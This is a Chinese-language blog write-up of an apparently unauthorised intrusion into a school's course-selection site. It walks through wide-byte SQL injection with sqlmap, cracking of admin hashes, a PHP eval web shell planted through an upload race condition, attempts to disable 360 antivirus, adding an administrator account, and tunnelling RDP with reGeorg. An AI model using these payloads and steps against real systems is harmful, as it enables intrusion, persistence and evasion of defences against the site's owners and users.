写点什么

记一次简单的渗透测试

发布于: 2 小时前
记一次简单的渗透测试

前言

之前对渗透这方面的学习一直只是学到了 Getshell 为止,但是其实渗透可以说 Getshell 仅仅是一个开端,接下去的还有远程连接,域渗透等领域,这次刚好渗透到了某网站,决定以该网站为例,看看能不能进行一次相对完整的渗透历程

SQL 注入

该网站是某校某选课网站,首先先用扫描器扫描一下网站,运气很好,居然扫出了一个注入,一看,原来是个宽字节注入


简单测了一下,发现并没有什么过滤,那就常规操作,用 SQLmap 跑一下

python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes
复制代码

接下来便是爆库,爆表,爆列,爆值等常规操作。获取 Admin 表中的账号密码,虽说密码是 md5 加密的了,但是去 cmd5 平台上一查,还是很方便的进入了后台


Getshell

接下来便是寻求 Getshell 的机会了


注意到这里有个上传文件的地方,从源码中可以看到是 Fckeditor 编辑器从网上搜索相关的漏洞,首先先查看版本


发现是 2.6.6 版本的,遗憾的是只能找到 2.6.6asp 版本的洞,PHP 版本的并不能找到相关的漏洞,而用了几个 EXP 去试试运气也都碰壁了,渗透本来到此就受阻但是突然发现还有一个上传学生名单的接口


测试了一下,只有一个简单的前端认证,并且用 burpsuite 一看,还有了惊喜的发现



文件不仅上传成功了,并且还返回了相应的路径,当下便想到来连 shell 了,但当我想来连之时,却发现文件被删了,由文件路径里面有个 temp,一下子就想到后端肯定写了一个自动清空 temp 目录的函数,但是解决思路也是很明确的,就是条件竞争嘛,通过多线程发包的方法,来实现一定时间内的文件访问这里我将要发包的文件改为:

<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>
复制代码

只要我们能访问到它一次,这个程序就会自动在父目录里面写入一个 shell,也就实现了跳出 temp 目录的写 shell 了。用 burpsuite 的 intruder 模块不断发包,再访问我们上传的文件,便实现了成功写 shell 的目的,如图,Getshell:



系统信息搜集

systeminfo查看系统相关信息


netstat -ano查看开放的端口


可以看到 3389 端口是打开的,也就是可以进行远程连接whoami查看当前用户


远程连接

可以看到是 system 权限,本来我以为大功告成,接下来就是创建管理员用户,进行远程连接之时,但是发现无论如何都无法把用户添加进管理员组在网上查了很多资料,有人说是可能有杀毒软件。tasklist一看,果然有 360 那么问题到这里就只有三条路了:1. 杀掉 360,看看能不能利用 system 的高权限杀掉 3602. 得到其他管理员账户的密码或者密码的 hash 值,利用其他管理员的账户进行登录 2. 绕过 360 创建一个管理员账号


我对这三种情况都进行了尝试:

  • 方法 1:我尝试利用 taskkill 来杀掉 360 的进程,但是始终报错,网上的资料五花八门,有的说 system 权限可以用 taskkill 来关闭 360,也有的说 360 的主动防御进程(ZhuDongFangYu.exe)是在系统 Ring0 层,即使 system 权限也无法用 taskkill 来关掉,至少在这次渗透中,我渗透的机器,是没办法直接用 taskkill 来关掉 360 进程的,包括网上所讲的sc delete方法在这台机子上也是行不通的(会被拦截),至少现在看起来这条路堵死了

  • 方法 2:当我上传 Quarks PwDump.exe 和各种软件时,无一例外都会被 360 拦截,看起来这条路也堵死了

  • 方法 3:方法 3 就是我们最后的希望了,从网上看到资料说 system 权限下可以用 Windows API 的方法来创建管理员账户,而这种方法 360 不会拦截,具体可以参见这篇文章:[【编程】创建用户,并添加至管理组]但是比较蛋疼的一点是我电脑没有 VS,编译不了这个文件,而宿友也都没有一个人安装的(毕竟他实在是太大了)好在我在 github 上找到了一个别人编译好的版本https://github.com/cckuailong/netuser运行了一下,成功添加用户


  • 那么就只剩最后一步了,进行远程连接,但是当我想直接连接的时候,发现居然连不上,用 nmap 扫了一下端口,发现 3389 没有开启,但是上面的netstat -ano显示 3389 是有开启的,那就只能说明 3389 端口是开在内网的,我们得进行一下内网穿透,把流量转发出来,使用 reGeorg 进行内网穿透。

将 tunnel.nosocket.php 上传至 web 目录(这里不能上传 tunnel.php,php<5.3 不能正常使用 tunnel.php)访问目标文件:


说明配置正常最后,我们就能成功的使用远程连接了,上了远程连接后,首先退出 360 所有防护,为接下来的进一步渗透做准备

这次的渗透就先到这里,接下来的域渗透,就等以后有时间再来学习和钻研了。

写在后面

这是我第一次进行后 Getshell 的渗透,写的可能很啰嗦并且很 LOW,但是主要目的还是想让我自己记住这一此渗透学习到的知识,等以后有时间了再来继续进行下一步的域渗透

[渗透书籍领取]

[渗透视频领取]


参考文章

DNS劫持逆向工程IDA内网渗透

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
记一次简单的渗透测试